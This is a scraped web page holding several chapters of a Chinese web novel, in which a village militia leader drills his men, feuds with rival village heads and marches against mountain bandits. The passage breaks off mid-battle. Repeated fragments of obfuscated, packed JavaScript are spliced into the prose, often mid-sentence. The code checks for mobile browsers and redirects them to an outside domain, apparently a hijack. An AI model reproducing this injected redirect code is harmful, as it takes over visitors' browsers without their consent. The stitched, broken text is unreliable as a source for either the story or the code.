l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229960|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏阳把青龙村的乡勇集合起来。 出发前,苏阳留了两个辎重队的乡勇看家护院。 “今天用不着那些大车,不过,你们也别闲着,把眼睛都给老子擦亮点,别让人摸进院子里,把咱们的家当给顺走了!”苏阳不放心地嘱咐着。 刚到镇外,一阵哄笑声就跟炸了雷似的,在耳边轰然炸开。 “哎呦喂,你们快瞅瞅,青龙村那帮人是来搞笑的吧?咋还扛着一堆竹竿子?” “可不是嘛!昨天我就看见了,还以为他们要搭窝棚呢,搞了半天,是想拿这玩意儿当兵器使啊?” “领头的还是个毛头小子,一看就不靠谱!老话说得好,嘴上没**,办事不牢!” “……” 各种冷嘲热讽,跟刀子似的,往苏阳他们身上扎。 吕巡检也看不下去了,眉头拧成了疙瘩,脸色铁青。 他心里头直犯嘀咕:这苏阳,葫芦里到底卖的什么药?就算穷得揭不开锅,也不能拿竹竿子来充数吧?若是真正上了战场,还不得让土匪给笑死? 苏阳却像没听见似的,依旧气定神闲。 他心里清楚得很:这帮家伙,现在尽管笑,等上了战场,有他们哭的时候! 环顾四周,苏阳发现,其他几个村子的情况也没比青龙村好到哪里去。 那些乡勇手里拿的家伙,五花八门,锄头、耙子、扁担……整个一个“农具展览会”。 配备武器装备的,少得可怜,而且都是些破铜烂铁,一看就是临时凑数的。 “指望这帮人去剿匪?别逗了!”苏阳暗自叹了口气。 不过,他很快就发现了一支与众不同的队伍——吕巡检手下的土兵。 “还好,还有点希望,不然真得趁早跑路了。”苏阳心里稍稍安定了一些。 这些“土兵”,可不是什么正规军,而是负责地方治安的“弓手”,跟后世的警察差不多。 苏阳估摸着,吕巡检手下大概有一百来号这样的“土兵”。 再加上从三溪镇召集来的两百乡勇,吕巡检手底下就有三百人。 五个村子,一个村一百乡勇,一共就是五百。 这么一算,吕巡检这次竟然调动了八百人的兵力! “这阵仗,有点大啊……”苏阳心里犯起了嘀咕。 第二百零九章 他之前抓过青虎岭土匪的探子,知道对方没多少人。 “撑**也就几十个,还不到一百。八百人打几十个,怎么算都是碾压局……但总觉得哪里不对劲。”苏阳皱着眉头。 “对了,土匪也不是傻子,这段时间肯定会招兵买马,没准人数早就翻了好几倍了!”苏阳猛然惊醒。 别看吕巡检平时不怎么着调,关键时刻还是有点本事的。 他站在一个临时搭起来的高台上,旁边守着几名**手,手里拿着各色旗帜,准备发号施令。 六种颜色的旗帜,其中五种分别对应五个村子,剩下的一种用来指挥他自己的直属部队。 苏阳仔细观察着,青龙村对应的是蓝色旗帜。 “蓝旗往前指,就是让咱们往前冲;往左指,就是往左转……”苏阳在心里默默地记着。 他又看了看台上的锣鼓:“听到鼓声,就是全军出击;听到锣声,就是赶紧撤退。” 规则不复杂,苏阳一学就会。 可真要让手下这帮人严格执行,苏阳可就有点头大了。 自己亲手**出来的那二十个小子,还算听话。 但那些新招的民兵,一个个滑头的很,根本不听指挥! 站个队都东倒西歪,更别提什么前进后退、向左向右了,简直比登天还难! “这还是石头昨天操练了大半天的结果,要不然,还不得乱成一锅粥?”苏阳有些无奈。 再看看其他几个村子,比青龙村还不如。 就吕巡检手下的兵还能看,但也只是勉强能看。 说到三溪镇的民兵,跟下面村子里的那些泥腿子也没啥两样,都是一群乌合之众。 “这水平,连学校里军训的学生都不如!”苏阳忍不住在心里吐槽了一句。 吕巡检呢? 他似乎早就料到了会是这样,脸上没有一丝波澜,仿佛一切尽在意料之中。 任凭下面乱成什么样子,他都雷打不动,慢悠悠地按照自己的节奏指挥着。 折腾了两个时辰,也没练出个名堂。 吕巡检大手一挥,宣布:“合练结束,各回各家,自己练去!” 话音刚落,几个村子的乡勇就跟泄了气的皮球似的,稀里哗啦地瘫倒了一大片。 这些乡勇平日里就吃不饱穿不暖,有的家里穷的叮当响,早上连饭都没舍得吃。 饿着肚子操练了两个时辰,能撑住不倒就算不错! 三溪镇的民兵也是一样菜,同样倒了一大片。镇上居民虽然比村里人富裕些,但也有限。 何况,能出钱找人替自己服徭役的,谁还会亲自来受这份罪? 只有青龙村的乡勇,一个个还挺拔地站着,像一排排标枪。 在寒风中,这百来号人纹丝不动,让其他民兵都惊呆了! 苏阳的高明之处,在这时候就显现出来了。 他让手下连着两天都吃饱了饭,体力自然比别人强出一大截。 “都看见了吧?”石头抓住了机会,扯着嗓子喊了起来,“昨日要你们操练,一个个还叫苦不迭,现在服气了没?你们自己说,这训练究竟值不值得?”晨曦微露,寒意未消。 三溪镇的校场上,气氛却比这冬日清晨更显凝重。 吕巡检又一次召集了各村村正,只是这次,带来的不是什么好消息。 “咳,这个,都准备一下,今天……继续操练!” 吕巡检的声音有些发虚,眼神闪烁,不敢直视众人。 话音落地,几位村正的脸色瞬间阴沉得能滴出水,像极了挂满枝头的苦瓜。 “这……” “唉。” 几人面面相觑,唉声叹气。 乡勇们能忍到现在,已经是极限。 再拖下去,就不是断粮的问题了。 大元朝的规矩,大家心里都清楚。 吕巡检早就放过话:不出三溪镇,服徭役就得自备口粮,官府可不管这闲事! 官府能甩手,村正们怎么办? 总不能眼睁睁看着乡勇们饿肚子。 万一闹出点什么事,吕巡检的板子,可不会落到别人身上! 几位村正愁得头发都快白了。 苏阳倒是乐得清闲,巴不得这日子能再长些。 他可不傻,乱世出英雄,拳头硬才是真道理。 就说青龙村的乡勇,昨天一天下来,那精气神,比之前强了可不止一星半点。 要是能再操练个几天,还不得脱胎换骨? 苏阳心里清楚,如今这世道,多一分力气,就多一分活命的机会。 谁要是敢在这时候偷奸耍滑,那就是跟自己的小命过不去! 说句实在的,现如今这操练强度,可比平时管用多了,简直是一日千里。 苏阳心里头那点小九九,早就打得啪啪响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229961|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他可不想跟其他村正一样,一个个愁眉苦脸的。 当然,最高兴的,是青龙村的名声打出去了。 这两天,镇子上的人,哪个见了青龙村的乡勇,不得多看两眼? 那眼神里,有羡慕,有嫉妒,还有几分说不清道不明的意味。 要说这差别,还真不是一星半点。 就说这住处。 其他村子的乡勇,只能在野地里搭窝棚,风吹雨淋的。 青龙村的人呢? 直接住进了镇子里,舒舒服服地睡大炕! 再看这吃的。 其他村子啃的,都是硬邦邦的干粮,剌嗓子。 青龙村呢? 热腾腾的饭菜,管够! 别人一天两顿,紧巴巴地对付。 青龙村一天三顿,还顿顿不重样! 如果说这些还只是让人心里不平衡的话。 那青龙村的伙食,简直让人眼红到滴血。 也不知是谁的主意,青龙村的饭,从来不在镇子里吃。 每天都是大张旗鼓,从镇子里把饭菜运出来。 一字排开,当着所有人的面,吃得那叫一个香! 你瞧那黄澄澄的小米粥,熬得黏糊糊的,一看就养人。 还有那白白胖胖的大馒头,暄腾腾的,隔着老远都能闻到香味。 这些也就罢了。 最可恨的是,他们还炖肉! 大桶大桶的炖肉,冒着热气,那香味,简直能把人的魂儿都勾走! “这些杀千刀的泥腿子,他们也配?” “就是,天天吃肉,也不怕遭报应!” “嘘,小点声,别让人听见了。” 人群里,窃窃私语声此起彼伏。 苏阳站在一旁,脸上不动声色,心里却乐开了花。 他要的就是这种效果。 舍不得孩子套不着狼。 半头猪算什么? 只要能让三溪镇的人都知道,青龙村的苏二爷有钱,有势,那就值了! “喂,听说了吗?青龙村的苏二爷,好像在招人呢!” “真的假的?这年头,谁还敢随便招人啊?” “嘿,你还别不信,我有个远房亲戚就在青龙村,他说苏二爷招人,那条件可高着呢!” “哦?怎么个高法?” “首先,年纪不能太大,超过二十的,人家根本不要。 第二百一十章 ” “这么苛刻?那谁还去啊?” “你急什么,听我说完啊。除了年纪,还得有真本事,听说要经过什么考核才行。” “考核?考什么?” “这我就不知道了,反正挺严格的。而且,还得有人担保,不然人家也不收。” “这么麻烦?那谁还愿意去啊?” “切,你懂什么?我那亲戚说了,苏二爷对手底下人,那叫一个大方!银子,大把大把地发,眼睛都不带眨一下的!” “真的假的?这么有钱?” “那还有假?我跟你说,苏二爷可不是一般人,人家是……” “是什么?” “嘿嘿,天机不可泄露!” …… 乡勇们议论纷纷,几个村正的心情就截然不同。 “苏老弟,你这可就有点不地道了!” 王麻山阴沉着脸,率先开了口,语气里带着明显的不满。 “就是,你这让咱们几个老家伙很难做啊。” 另一位村正也跟着附和,话里带着几分无奈,几分责备。 “一天三顿饭,还顿顿见肉,你这是把咱们架在火上烤!” 说话的是张村正,他一边说,一边拿眼角余光扫视着其他几人。 苏阳假装没听懂: “几位老哥,你们这是说的啥?我怎么有点听不明白?” 他故意装傻充愣,把责任往赖志成身上推。 “来之前,卓村正可是跟我说了,让我好好照顾手下人,吃好喝好,不能出岔子。” 几个村正听了,脸色更难看了。 他们都是老油条,哪能听不出苏阳话里的意思? “苏老弟,话可不能这么说,赖志成让你照顾手下人不假,可也没让你这么个照顾法啊!” “就是,你这样搞,让其他村子的人怎么想?让咱们几个老家伙以后还怎么带队伍?” “老弟,你听哥一句劝,这事儿你得收敛点,不然以后大家可都没法相处了!” 几位村正你一言我一语,轮番上阵,试图给苏阳施压。 苏阳却像个滚刀肉,左耳朵进右耳朵出,压根就不接茬。 “几位老哥,真不是我不给面子,实在是村正的命令不敢违抗啊!你们也知道,我就是个跑腿的,要是不听话,回去可没好果子吃!” 他边说边摊开双手,一副“我也很为难”的样子。 “你……” 几位村正被噎得够呛,差点没背过气去。 王麻山自恃身份,冷哼一声: “哼,我是赖志成的老丈人,我说的话他还能不听?你就说是我的意思,让他别再这么搞了!” 苏阳撇了撇嘴,脸上露出不以为然的神情: “王老哥,不是我说您,您这位女婿,您恐怕还真不一定能管得住。当面锣对面鼓,他或许还会给您几分薄面,可这背地里……嘿嘿,他能听您的话才怪!” “你……你胡说!” 王麻山顿时涨红了脸,脖子上的青筋都爆了起来。 “我有没有胡说,您心里清楚。” 苏阳耸了耸肩,一副无所谓的态度。 “你……” 王麻山气得直哆嗦,却又无言以对。 他心里跟明镜似的,自己那个女婿,平日里就对自己阳奉阴违。 这次出来之前,肯定没少给这小子灌**汤! “好啊,好得很!” 王麻山咬牙切齿地说道: “既然说不动你,那咱们就走着瞧!” 几位村正见状,也纷纷附和,表示要给苏阳点颜色看看。 苏阳呢? 他压根就没把这几个老家伙的威胁放在心上。 不就是几个村正吗? 能翻出什么浪花来? 几位村正见硬的不行,又改成了软的。 可不管他们怎么说,苏阳都是一副死猪不怕开水烫的样子。 几人一看,这软硬不吃啊! 得了,既然说不通,那就吃吧! “**,吃穷他个王八蛋!” “对,吃!让他嘚瑟!” 几人一边骂骂咧咧,一边招呼手下人放开了肚皮吃。 苏阳也不拦着,任由他们折腾。 反正,羊毛出在羊身上。 …… 日头偏西,校场上的人渐渐散去。 几个村正打着饱嗝,心满意足地走了。 苏阳伸了个懒腰,正准备回屋。 突然,他一拍脑门: “哎呦,坏了!光顾着操练,把正事给忘了!” 他这才想起来,还没给赖志成找大夫呢! 算算日子,也该派人回去看看了。 “老赖啊老赖,你可得挺住啊!兄弟我还指望你呢!” 苏阳心里头七上八下的。 他倒不是真担心赖志成的死活。 只是眼下这局面,还真少不了赖志成。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229962|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正当他胡思乱想的时候,吕巡检的亲兵急匆匆地跑了过来: “苏都头,大人有令,让各村立刻准备,明日一早,拔营出发!”车辚辚,马萧萧。 三溪镇浩浩荡荡的剿匪队伍,终于开拔。 为了凑人头,也为了不让队伍饿着肚子上战场,几个村正纵使心如刀割,也只能咬牙自掏腰包。 买了些最便宜的杂粮,又花钱雇了些镇上的婆姨,给手下乡勇们烙了些硬邦邦、能硌掉牙的杂粮饼当干粮。 “呸,这玩意儿真剌嗓子!” 一个年轻乡勇啃了一口杂粮饼,忍不住啐了一口。 “行了,有得吃就不错了!” 旁边一个老乡勇瞪了他一眼。 “唉,你们快看青龙村那边……” 另一个乡勇压低声音,用下巴指了指队伍后方。 众人循着他示意的方向望去,顿时眼睛都绿了。 人比人,气**! 同样是出来剿匪,凭啥人家青龙村吃的就那么好? 青龙村吃的可不是这难以下咽的杂粮饼。 而是肉夹馍! 金黄酥脆的烧饼,冒着诱人的热气。 里面满满当当,塞的全是喷香流油的卤肉。 那香味,简直能把人馋虫都勾出来! 几个没出息的村正,竟然还舔着脸跑去青龙村那边蹭吃蹭喝。 “真不要脸!” “给咱三溪镇丢人!” “呸,一群软骨头!” 几个没蹭到的乡勇小声嘀咕,骂骂咧咧。 苏阳其实也不想这么张扬。 可这不是赶鸭子上架嘛。 昨夜得了吕巡检的令,说今日一早就要出发剿匪。 苏阳心里跟明镜似的,这一路,怕是太平不了。 为让手底下弟兄们吃饱了好有力气拼命,他连夜让人赶制了一批特别的干粮。 肉夹馍,管够! 反正从三溪镇到青虎岭也没几步路,不怕东西坏。 苏阳一声令下,青龙村的婆娘们全都动员起来。 揉面的揉面,烧火的烧火,卤肉的卤肉。 忙活了大半宿,硬是烙出了几百个香喷喷的大烧饼。 又把家里几口大锅全都支了起来,满满当当炖了一整夜的卤肉。 光是卤肉还不够。 苏阳还让手下人把家里存的腊肉全都拿了出来,剁得细细的,一股脑儿都掺进了卤肉里。 第二百一十一章 这还不算完,他还跑了趟镇上,把能买到的油都买光了,就怕油水不够。 每个上阵的乡勇,都分到了两个油纸仔细包好的肉夹馍。 牛车上也堆了不少,保证大伙儿一天都饿不着。 眼看成了众矢之的,苏阳也有些不好意思。 他挠挠头,主动跑到吕巡检马前请示: “大人,要不……小人带队到前面探探路?” 吕巡检正啃着苏阳送来的肉夹馍,满嘴流油。 他抬头看了苏阳一眼,心想这小子还挺上道。 比那几个只知道往自己口袋里划拉的老东西强多了。 “嗯,也好。” 吕巡检抹了抹嘴,点了点头。 “不过,苏二你带着人到队伍后头压阵,以防土匪绕后偷袭。” “啥?” 苏阳一愣,差点没反应过来。 这……算不算搬起石头砸了自己的脚? 本来想借着探路的名义,看看能不能找机会捞点外快。 这下倒好,直接被发配到队伍的最后面去了。 “怎么,你不乐意?” 吕巡检见苏阳没动静,眉头一挑。 “没,没有!大人放心,保证完成任务!” 苏阳连忙一个立正,大声应道。 算了,打头阵就打头阵呗,起码没啥危险。 几个村正眼瞅着苏阳带着队伍灰溜溜地跑到了队伍最后头,肺都快气炸了。 “苏二这小子,搞什么名堂?” “还以为他去找吕巡检有啥好事,原来是躲到后头偷懒去了!” “呸,真不是个东西!” “还说什么同气连枝,我看他就是个胆小鬼!” 不同于其他村正的愤懑,青龙村的乡勇们对苏阳,那叫一个佩服。 “还是阳哥儿厉害!” “几个肉夹馍,就把巡检大人给说动了,让咱留在最后面,这下可安全了!” “往后就跟着阳哥儿混了,有肉吃!” 苏阳可不敢真当甩手掌柜,跟大部队离得太远。 他心里还惦记着青虎岭上的财宝呢。 万一土匪脚底抹油溜了,他得赶紧带人冲上去捡漏。 苏阳跟青虎岭的土匪打过交道,心里有数。 这帮家伙,富得流油! 尤其是那个四当家顾明远,鬼知道从凤子楼肥掌柜那里弄了多少好东西。 苏阳琢磨着,自己上次截胡的那些,估计连个零头都算不上。 八成还有更多金银珠宝,藏在青虎岭上呢。 他之所以积极请缨,就是想借机到前面探探风,若是青虎岭那群土匪准备开溜,好冲上去分一杯羹。 苏阳也从其他村正那里旁敲侧击打听过,吕巡检可是出了名的铁公鸡,一毛不拔。就算真缴了啥好东西,这帮村正休想分一杯羹。 从三溪镇到青虎岭,必经临溪村。 剿匪的队伍没有在临溪村停留,也没进村,直接从村子边上绕了过去。 临溪村的乡勇们,一个个伸长了脖子,眼巴巴地望着自己的村子,心里头百感交集。 这一去,是死是活,谁也说不准。 “再看一眼吧,多看一眼都是煎熬……” “也不知道,家里的婆娘娃子咋样了,能不能吃饱穿暖……” “老天爷保佑,让俺们都能活着回去……” 从临溪村到青虎岭,也就五里路。 兴许是心里头都打着小九九,乡勇们一个个磨磨蹭蹭,走得比蜗牛还慢。 原本一眨眼就能到的路程,硬是走了将近两个时辰才到。 只见前方人群纷纷驻足。 苏阳心里咯噔一下,连忙跳上一辆牛车,踮起脚尖,伸长了脖子,费劲地往前张望。 看了半晌,他终于开窍了。 青虎岭的土匪,压根就没打算跑路! 非但没跑,还大模大样地从山上下来,列队排开,摆明了是要跟三溪镇的人马干一仗! “这帮土匪,转性了?” “不仗着地势在山上守着,还敢主动下来应战,这是吃了熊心豹子胆,还是脑子进水了?” 苏阳心里正嘀咕着,突然感到一阵劲风袭来。 “嗖——” 一支羽箭,擦着他的头皮飞了过去,险些把他吓尿了。 “**,谁放的冷箭?” 苏阳惊魂未定,破口大骂。 紧接着,吕巡检派人来传令了。 让苏阳带着青龙村的人,到前面去。 苏阳没辙,只能让几个上了年纪的乡勇留下看守牛车,抓紧把马车赶进林子里躲起来。 他自己,则带着大部分人,急匆匆地赶到了队伍前头。 “嘶……” “这……这是啥阵仗?” “我的天,这是要打仗,还是要搬家?” 看到全副武装的青龙村乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236250|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇,几乎所有人都惊呆了。 青龙村的乡勇们,一个个背着**,手里提着明晃晃的钢刀,腰间还别着盾牌,杀气腾腾。 这架势,比官兵还像官兵! 更让人傻眼的是,他们还抬着一扇扇厚重的门板! “这是……要干啥?” “青龙村的人,这是把家底都掏出来了吗?” “这么多门板,是要搭桥,还是要盖房子?” 众人议论纷纷,全都看懵了。 事已至此,苏阳也不打算再遮遮掩掩。 他把藏在牛车里的**、刀盾,全都拿了出来,分发给手下的弟兄们。 为了确保自家弟兄们的安全,他也顾不上那么多了。 关于藏匿武器会不会被官府盯上? 苏阳不是不担心,就算操心也是白费,只能走一步看一步。 只要能打赢这一仗,估计吕巡检也不会啰嗦。 除了**、刀盾,苏阳还让人把赌馆里能拆的门板全都拆了下来,一股脑儿都用牛车拉了过来。 “苏二,你这是……弄啥嘞?” 吕巡检看着全副武装的青龙村乡勇,还有这些沉甸甸的大门,哭笑不得。 “嘿嘿,大人,咱青龙村的人,愿意打头阵!” 苏阳一看吕巡检的脸色,似乎并没有真的生气,连忙点头哈腰,陪着笑脸说道。 “胡闹!退下!还轮不到你逞能!” 吕巡检没好气地瞪了苏阳一眼。 几个村正的鼻子都快气歪了。 “这苏二,到底是给姓何的灌了啥**汤?” “他都主动请缨要打头阵了,姓何的咋还不答应?” “真是活见鬼了!” 看着几个老家伙一脸便秘的表情,苏阳心里那叫一个舒坦。 吕巡检身边的吕管事狠狠瞪了苏阳一眼。 臭小子,拆门板干啥?别以为老子不知道你打的什么鬼主意! 要不是老子替你在老爷面前美言了几句,你小子早就被当成典型,拉出去**了! 苏阳当然明白,吕巡检不可能无缘无故地对自己另眼相看。这里面,肯定是吕管事在使劲。 当初在三溪镇的时候,苏阳就跟吕管事暗地里达成了协议。 青龙村的乡勇,活着回去的人越多,他买眼煞豹院子的价钱就越高。 为了保险起见,苏阳昨晚又专程去拜访了吕管事一趟,还特意加了码。 第二百一十二章 只要青龙村的乡勇一个不死,他就在原先的基础上,再加五十两银子! “大……大家伙儿小心,土匪冲过来了!” 突然,一个村正扯着嗓子,声嘶力竭地喊道。青虎岭土匪的数量,远远超出了苏阳的预料。 他眉头紧锁,心中快速盘算着。 不对劲! 之前抓到的探子明明说,青虎岭一共就几十个土匪。 就算凤子楼那帮人只干掉了十几个,算上四当家带去清阳县的人,剩下的也不该超过五十个。 可眼前这黑压压的一片,少说也有两三百人! 哪儿来的这么多人? 不用说,肯定是新招的。 “都别愣着!打起精神来!” 吕巡检到底是老许湖,一眼就看出了门道: “这些土匪里,只有三四十个是老贼,剩下的都是些没见过血的新手!” “大家伙儿齐心协力,赢他们易如反掌!” 为了稳妥起见,吕巡检还是按照之前演练的,摆出了一个雁形阵。 他深知乡勇们靠不住,便把自己的亲兵放在了阵型的最中间。 两侧则是各个村子里的乡勇。 不同于常规雁形阵,吕巡检这次摆出的是一个“V”字形。 两翼向前突出,就像大雁伸出的翅膀,这样更容易形成包围圈。 苏阳和青龙村的乡勇,被分在了右翼的最前端。 与他们并肩而立的,是清水村的队伍。 这位置看似靠前,实际上却很安全。 因为土匪人数不多,大概率会集中攻击吕巡检的中军。 只要吕巡检的亲兵能顶住压力,两翼的乡勇就有足够的时间包抄。 除非土匪傻了,放着中间的大部队不管,偏要来啃两翼这难啃的骨头。 苏阳暗自琢磨,这安排八成是吕管事在背后使了银子。 当然,也可能是吕巡检觉得青龙村的人都是一群乌合之众。 毕竟,在他们眼里,拿着竹竿的乡勇,战斗力几乎为零。 不过,苏阳并不在意这些。 他想要的,只是带着兄弟们平安回去。 至于立功? 算了吧,犯不着。 眼下这位置正好,进可攻,退可守,简直完美。 青虎岭的土匪头子似乎没什么脑子,完全没看出雁形阵的厉害。 眼见吕巡检把兵力分散,顿时像打了鸡血一样,嗷嗷直叫。 一个骑着高头大马,满脸横肉的黑大汉,挥舞着手中的鬼头刀,带头冲了过来。 “兄弟们,给我冲!宰了这帮狗官兵!” “抢钱!抢粮!抢女人!” 身后的土匪们也跟着起哄,一个个挥舞着手中的破烂武器,像一群饿狼一样扑了上来。 “都别跟老子抢!老子要亲手砍下那狗官的脑袋!” 一个瘦得像麻杆一样的土匪,挥舞着一把生锈的菜刀,口水都快流出来了。 “放屁!人头是老子的!” 另一个长得五大三粗的土匪,抡起一根碗口粗的木棍,恶狠狠地瞪了瘦猴一眼。 苏阳站在队伍的最前头,眼睛微微眯起,仔细观察着战场上的情况。 单论气势,青虎岭这帮土匪确实吓人。 相比之下,自己这边就差远了。 除了吕巡检的那些亲兵,尤其是那些拿着弓箭的家伙,还算有点样子。 其他的乡勇,一个个都跟霜打的茄子一样,蔫头耷脑的。 这也难怪,毕竟对这些乡勇来说,打赢了,功劳是吕巡检的。 打输了,命可就是自己的了。 这种赔本买卖,谁愿意干? 指望他们奋勇杀敌,还不如指望母猪上树。 什么保卫家园,什么保护乡亲,这些大道理,对这些泥腿子来说,还不如一顿饱饭来得实在。 苏阳很清楚,打仗这事,人多不一定就能赢。 天时、地利、人和,缺一不可。 现在,双方在天时和地利上,算是打了个平手。 可是在人和方面,吕巡检这边就差得太远了。 这些乡勇一个个都心怀鬼胎,巴不得别人冲在前面,自己躲在后面捡漏。 看来,吕巡检还是太嫩了,以为凭借着人数优势就能稳操胜券。 他也不想想,就凭这些乌合之众,能跟那些**不眨眼的土匪比吗? 只见那些土匪一个个红着眼睛,嗷嗷叫着往前冲。 吕巡检一看这架势,赶紧下令击鼓。 他想借着鼓声,把队伍往前压,至少在气势上不能输。 这想法没错。 如果一直被动挨打,士气肯定会越来越低落。 尤其是雁形阵这种阵型,一旦被敌人突破一点,整个阵型就会彻底崩溃。 只可惜,吕巡检还是高估了这些乡勇的执行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236251|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。 平时训练不足,到了战场上,自然就乱成了一锅粥。 有的队伍快,有的队伍慢,还没走出多远,原本整齐的雁形阵就变得歪歪扭扭。 吕巡检的亲兵因为训练有素,倒是走得挺快。 可两翼的乡勇就拉胯了,一个个都磨磨蹭蹭,恨不得别人都死光了才好。 苏阳起初还没太在意,带着青龙村的乡勇往前走了几步。 可当他一回头,顿时傻眼了。 只见清水村的乡勇,竟然还杵在原地,一步都没挪动! 不仅如此,就连左翼的乡勇,也都是一副事不关己的样子。 这么一来,青龙村反倒成了最突前的一支队伍! 再看看吕巡检的亲兵,已经快跟两翼的队伍齐平了。 而那些原本应该紧跟在他们身后的乡勇,早就被远远地甩在了后面。 这下好了,除非吕巡检的亲兵被打垮,否则,他们根本就不会有任何危险! “**,这仗还怎么打!” 苏阳忍不住在心里暗骂。 现在唯一的希望,就是吕巡检的亲兵能够顶住压力了。 至于其他的乡勇,根本就指望不上! 吕巡检显然也意识到了问题的严重性。 可现在,不管是变阵,不如暂缓脚步重整旗鼓,时机已然错过。 眼看着双方的距离越来越近,气氛也越来越紧张。 这时候要是下令停止前进,原本就所剩无几的士气,恐怕会瞬间跌到谷底! 很快,双方就进入了弓箭的射程。 “射!” 随着吕巡检身边的一名亲兵一声令下,三溪镇的神射手们抢先发动了攻势!“放箭!” 吕巡检身边的亲兵队长猛一挥手,声嘶力竭地吼道。 三十来个弓手像是被鞭子抽到的陀螺,猛地一颤,下意识地松开了弓弦。 嗖嗖嗖—— 箭矢离弦,划破空气,发出尖锐的啸叫,直奔土匪而去。 噗噗噗—— 冲在最前面的几个土匪应声倒地,像是被镰刀割倒的麦子,身子抽搐了几下,没了动静。 苏阳的眼睛眯成了一条缝,死死地盯着战场上的一举一动。 他看得清楚,倒下的都是些新加入土匪的炮灰。 那些青虎岭的老油条们,一个个贼精,嗓门喊得震天响,可脚底下却像是钉了钉子,一步都不肯多挪。 第二百一十三章 这帮家伙,摆明了是拿新来的当炮灰,消耗官兵的箭矢。 炮灰一倒,土匪的冲锋势头明显缓了下来。 尤其是那些冲在前面的新丁,一个个吓得腿肚子直哆嗦,脚下也开始拌蒜。 “**,都给老子冲!谁敢后退,老子砍了他的脑袋!” 后方压阵的老匪一看势头不对,立马扯着嗓子嚎叫起来,声音像打雷一样,震得人耳膜嗡嗡响。 有几个新丁被吓破了胆,转身就想跑。 可还没等他们跑出几步,就感觉后背一阵剧痛,紧接着眼前一黑,啥也不知道了。 原来,压阵的老匪已经挥舞着鬼头大刀,把他们砍翻在地。 鲜血喷溅,染红了地面。 这血腥的一幕,把剩下的土匪都给镇住了。 前有弓箭,后有屠刀,这**往哪儿跑都是个死啊! 还不如拼了! “冲啊!跟他们拼了!” “杀一个够本,杀两个赚一个!” “脑袋掉了碗大个疤,二十年后又是一条好汉!” 也不知道是谁带头喊了一嗓子,剩下的土匪像是被打了鸡血,一个个嗷嗷叫着往前冲,眼睛都红了。 …… 三溪镇这边,弓箭手们刚开始还挺兴奋。 一轮箭雨下去,就干翻了七八个土匪,这战绩,杠杠的! 有几个胆子大的,甚至都想扔了弓箭,直接提刀冲上去。 可没过多久,他们就笑不出来了。 土匪们不仅没被吓退,反而越冲越快,越冲越猛,简直就像一群疯狗! 这下,乡勇们开始慌了。 常言道,软的怕硬的,硬的怕横的,横的怕愣的,吓得魂都快飞了。 这些土匪,明摆着是不要命了啊! 乡勇们可不想跟他们玩命。 命只有一条,没了可就真没了。 于是,有人开始悄悄地往后挪步子,脚底抹油,准备随时开溜。 “都**给老子站稳了!慌个屁!” 吕管事一看这情形,急了,直接冲到弓手身后,扯着嗓子大吼: “弓箭手准备!放箭!给老子狠狠地射!” 他这一嗓子,还真管用。 弓手们也知道,这时候要是跑了,那就真完了。 他们强打精神,拉弓搭箭,又是一轮箭雨射了出去。 这一次,距离更近,效果也更好。 十几个土匪惨叫着倒在地上,身体扭曲成奇怪的形状。 然而,剩下的土匪并没有被吓倒。 他们像是闻到了血腥味的野兽,更加疯狂地往前冲,一个个双眼通红,面目狰狞,恨不得把眼前的一切都撕成碎片。 弓箭手们瑟瑟发抖,手忙脚乱,不待吕管事发话,就稀稀拉拉地把箭射了出去。 准头差得不是一星半点,只有几个倒霉蛋中箭倒地。 这时候,敌我之间仅剩一箭之地。 土匪们狰狞的面孔,扭曲的表情,还有那血红的眼睛,都看得清清楚楚。 弓手们彻底崩溃了。 他们只是弓手,不是近战的兵。 让这帮山贼靠近就完蛋了,还不被砍成肉酱? “跑啊!” 